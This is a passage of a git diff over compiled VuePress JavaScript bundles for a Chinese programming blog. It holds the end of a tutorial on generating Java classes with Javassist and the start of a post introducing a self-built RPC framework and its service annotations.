function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtNewMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getter")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"getName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//6.创建一个输出name的方法")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),s._v(" ctMethod "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("voidType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"printName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setModifiers")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PUBLIC")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"System.out.println(name);"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("writeFile")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br"),t("span",{staticClass:"line-number"},[s._v("30")]),t("br"),t("span",{staticClass:"line-number"},[s._v("31")]),t("br"),t("span",{staticClass:"line-number"},[s._v("32")]),t("br"),t("span",{staticClass:"line-number"},[s._v("33")]),t("br"),t("span",{staticClass:"line-number"},[s._v("34")]),t("br"),t("span",{staticClass:"line-number"},[s._v("35")]),t("br"),t("span",{staticClass:"line-number"},[s._v("36")]),t("br"),t("span",{staticClass:"line-number"},[s._v("37")]),t("br"),t("span",{staticClass:"line-number"},[s._v("38")]),t("br"),t("span",{staticClass:"line-number"},[s._v("39")]),t("br"),t("span",{staticClass:"line-number"},[s._v("40")]),t("br"),t("span",{staticClass:"line-number"},[s._v("41")]),t("br"),t("span",{staticClass:"line-number"},[s._v("42")]),t("br"),t("span",{staticClass:"line-number"},[s._v("43")]),t("br"),t("span",{staticClass:"line-number"},[s._v("44")]),t("br"),t("span",{staticClass:"line-number"},[s._v("45")]),t("br"),t("span",{staticClass:"line-number"},[s._v("46")]),t("br"),t("span",{staticClass:"line-number"},[s._v("47")]),t("br"),t("span",{staticClass:"line-number"},[s._v("48")]),t("br"),t("span",{staticClass:"line-number"},[s._v("49")]),t("br"),t("span",{staticClass:"line-number"},[s._v("50")]),t("br"),t("span",{staticClass:"line-number"},[s._v("51")]),t("br"),t("span",{staticClass:"line-number"},[s._v("52")]),t("br"),t("span",{staticClass:"line-number"},[s._v("53")]),t("br")])]),t("h2",{attrs:{id:"效果演示"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#效果演示"}},[s._v("#")]),s._v(" 效果演示")]),s._v(" "),t("p",[s._v("编写main方法,直接调用CreateUserClass类的createUser()方法,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CreateUserClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("createUser")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("运行main()方法后,生成了我们想要的User类的字节码,如下所示。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"图片","data-src":"https://img-blog.csdnimg.cn/img_convert/68dde8cf21386ea83a1a23c198d32404.png",loading:"lazy"}})]),s._v(" "),t("p",[s._v("效果符合我们的预期。")]),s._v(" "),t("h2",{attrs:{id:"案例总结"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例总结"}},[s._v("#")]),s._v(" 案例总结")]),s._v(" "),t("p",[s._v("我们使用Javassist动态生成了符合预期的User类对象,通过本文的学习,我们掌握了如何使用Javassist生成JavaBean对象。是不是很简单呢?小伙伴们赶紧打开IDEA搞起来吧。")]),s._v(" "),t("h2",{attrs:{id:"附录"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#附录"}},[s._v("#")]),s._v(" 附录")]),s._v(" "),t("p",[s._v("文中涉及到了Javassist中方法内部的引用变量"),t("code",[s._v("$0")]),s._v("和 "),t("code",[s._v("$1")]),s._v(" , 在Javassist中,还有一些其他的方法内部引用变量,冰河将其进行了总结,以方便大家学习。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"图片","data-src":"https://img-blog.csdnimg.cn/img_convert/07cd1d45841adc37caccaa370e78084c.png",loading:"lazy"}})]),s._v(" "),t("p",[t("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),t("p",[t("strong",[s._v("如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~")])]),s._v(" "),t("blockquote",[t("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);t.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-348.js b/assets/js/cg-348.js index 5a2ace71681657cc667893dbadc10172f96c39c8..4f9403ca12bafe6c8f7dc0c7bcc7be9ae1baf38c 100644 --- a/assets/js/cg-348.js +++ b/assets/js/cg-348.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[348],{638:function(s,t,a){"use strict";a.r(t);var n=a(7),e=Object(n.a)({},(function(){var s=this,t=s._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[t("h1",{attrs:{id:"【置顶】这次我设计了一款tps百万级别的分布式、高性能、可扩展的rpc框架"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#【置顶】这次我设计了一款tps百万级别的分布式、高性能、可扩展的rpc框架"}},[s._v("#")]),s._v(" 【置顶】这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架")]),s._v(" "),t("p",[s._v("作者:冰河\n"),t("br"),s._v("星球:"),t("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[s._v("http://m6z.cn/6aeFbs"),t("OutboundLink")],1),s._v(" "),t("br"),s._v("博客:"),t("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[s._v("https://binghe001.github.io"),t("OutboundLink")],1)]),s._v(" "),t("p",[t("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),t("p",[s._v("没错,这次冰河又要搞事情了,这次准备下手的是"),t("code",[s._v("RPC框架项目")]),s._v("。为什么要对"),t("code",[s._v("RPC框架项目")]),s._v("下手呢,因为在如今分布式、微服务乃至云原生不断发展的过程中,RPC作为底层必不可少的通信组件,被广泛应用在分布式、微服务和云原生项目中。")]),s._v(" "),t("h2",{attrs:{id:"为啥要开发rpc框架"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#为啥要开发rpc框架"}},[s._v("#")]),s._v(" 为啥要开发RPC框架")]),s._v(" "),t("p",[s._v("事情是这样的,在开发这个RPC框架之前,我花费了不少时间算是对Dubbo框架彻底研究透彻了。")]),s._v(" "),t("p",[s._v("冰河在撸透了Dubbo2.x和Dubbo3.x的源码之后,本来想给大家写一个Dubbo源码解析的专栏。为此,我其实私下准备了一个多月:画流程图、分析源码、写测试Demo,自己在看Dubbo源码时,也为Dubbo源码添加了非常详细的注释。这里,就包含Dubbo2.x和Dubbo3.x的源码。")]),s._v(" "),t("p",[s._v("当我就这么熬夜肝文一个多月后,突然发现一个问题:Dubbo经过多年不断的迭代开发,它的源码已经非常多了,如果以文章的形式将Dubbo的源码面面俱到的分析到位,那还不知道要写到何年何月去了。当我写文章分析Dubbo的最新版本3.x时,可能写到专栏的中后期Dubbo已经更新到4.x、5.x,设置有可能是6.x、7.x了。")]),s._v(" "),t("p",[s._v("与其这么费劲吧咧的分析源码,还不如从零开始带着大家一起手撸一个能够在实际生产环境使用的、分布式、高性能、可扩展的RPC框架。这样,大家也能够直观的感受到一个能够在实际场景使用的RPC框架是如何一步步开发出来的。")]),s._v(" "),t("p",[s._v("相信大家在学完《RPC手撸专栏》后,自己再去看Dubbo源码的话,就相对来说简单多了。"),t("strong",[s._v("你说是不是这样的呢?")])]),s._v(" "),t("h2",{attrs:{id:"你能学到什么"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#你能学到什么"}},[s._v("#")]),s._v(" 你能学到什么?")]),s._v(" "),t("p",[s._v("既然是整个专栏的开篇嘛,肯定是要告诉你在这个专栏中能够学习到哪些实用的技术的。这里,我就画一张图来直观的告诉你在《RPC手撸专栏》能够学到哪些技术吧。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-25-001","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-25-001.png",loading:"lazy"}})]),s._v(" "),t("p",[s._v("相信小伙伴们看到《RPC手撸专栏》涉及到的知识点,应该能够了解到咱们这个从零开始的《RPC手撸专栏》还是比较硬核的吧?")]),s._v(" "),t("p",[s._v("另外,咱这RPC项目支持同步调用、异步调用、回调和单向调用。")]),s._v(" "),t("ul",[t("li",[s._v("同步调用")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-30-002","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-30-002.png",loading:"lazy"}})]),s._v(" "),t("ul",[t("li",[s._v("异步调用")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-30-003","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-30-003.png",loading:"lazy"}})]),s._v(" "),t("ul",[t("li",[s._v("回调")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-30-004","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-30-004.png",loading:"lazy"}})]),s._v(" "),t("ul",[t("li",[s._v("单向调用")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-30-005","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-30-005.png",loading:"lazy"}})]),s._v(" "),t("p",[s._v("对,没错,咱们《RPC手撸专栏》最终实现的RPC框架的定位就是尽量可以在实际环境使用。通过这个专栏的学习,让大家深入了解到能够在实际场景使用的RPC框架是如何一步步开发出来的。")]),s._v(" "),t("h2",{attrs:{id:"代码结构"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#代码结构"}},[s._v("#")]),s._v(" 代码结构")]),s._v(" "),t("p",[s._v("我将这个"),t("code",[s._v("bhrpc项目")]),s._v("的定位为可在实际场景使用的、分布式、高性能、可扩展的RPC框架,目前总体上已经开发并完善的功能达到60+个子项目,大家看图吧。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-08-24-003","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-08-24-003.png",loading:"lazy"}})]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-08-24-006","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-08-24-006.png",loading:"lazy"}})]),s._v(" "),t("p",[t("strong",[s._v("项目大量使用了对标Dubbo的自定义SPI技术实现高度可扩展性,各位小伙伴可以根据自己的需要,按照SPI的设计要求添加自己实现的自定义插件。")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-08-24-001","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-08-24-001.jpg",loading:"lazy"}})]),s._v(" "),t("h2",{attrs:{id:"演示效果"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#演示效果"}},[s._v("#")]),s._v(" 演示效果")]),s._v(" "),t("p",[s._v("说了那么多,咱们一起来看看这个RPC框架的使用效果吧,因为咱们这个RPC框架支持的调用方式有:原生RPC调用、整合Spring(XML/注解)、整合SpringBoot、整合SpringCloud、整合SpringCloud Alibaba,整合Docker和整合K8S七种使用方式。")]),s._v(" "),t("p",[s._v("这里,咱们就以 "),t("strong",[s._v("整合Spring注解的方式")]),s._v(" 来给大家演示下这个RPC框架。")]),s._v(" "),t("h3",{attrs:{id:"rpc核心注解说明"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#rpc核心注解说明"}},[s._v("#")]),s._v(" RPC核心注解说明")]),s._v(" "),t("p",[s._v("为了让大家更好的了解这个RPC框架,我先给大家看下RPC框架的两个核心注解,一个是RPC的服务提供者注解"),t("code",[s._v("@RpcService")]),s._v(",一个是RPC的服务调用者注解"),t("code",[s._v("@RpcReference")]),s._v("。")]),s._v(" "),t("p",[s._v("(1)服务提供者注解"),t("code",[s._v("@RpcService")]),s._v("的核心源码如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description bhrpc服务提供者注解\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("TYPE")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Retention")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("RUNTIME")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Component")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RpcService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 接口的Class\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Class")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("?")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("interfaceClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 接口的ClassName\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("interfaceClassName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 版本号\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("version")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 服务分组,默认为空\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("group")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 延迟发布,预留\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("int")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("delay")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 是否导出rpc服务,预留\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("boolean")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("export")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("true")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br"),t("span",{staticClass:"line-number"},[s._v("30")]),t("br"),t("span",{staticClass:"line-number"},[s._v("31")]),t("br"),t("span",{staticClass:"line-number"},[s._v("32")]),t("br"),t("span",{staticClass:"line-number"},[s._v("33")]),t("br"),t("span",{staticClass:"line-number"},[s._v("34")]),t("br"),t("span",{staticClass:"line-number"},[s._v("35")]),t("br"),t("span",{staticClass:"line-number"},[s._v("36")]),t("br"),t("span",{staticClass:"line-number"},[s._v("37")]),t("br"),t("span",{staticClass:"line-number"},[s._v("38")]),t("br"),t("span",{staticClass:"line-number"},[s._v("39")]),t("br"),t("span",{staticClass:"line-number"},[s._v("40")]),t("br")])]),t("p",[s._v("(2)服务调用者注解"),t("code",[s._v("@RpcReference")]),s._v("的核心源码如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 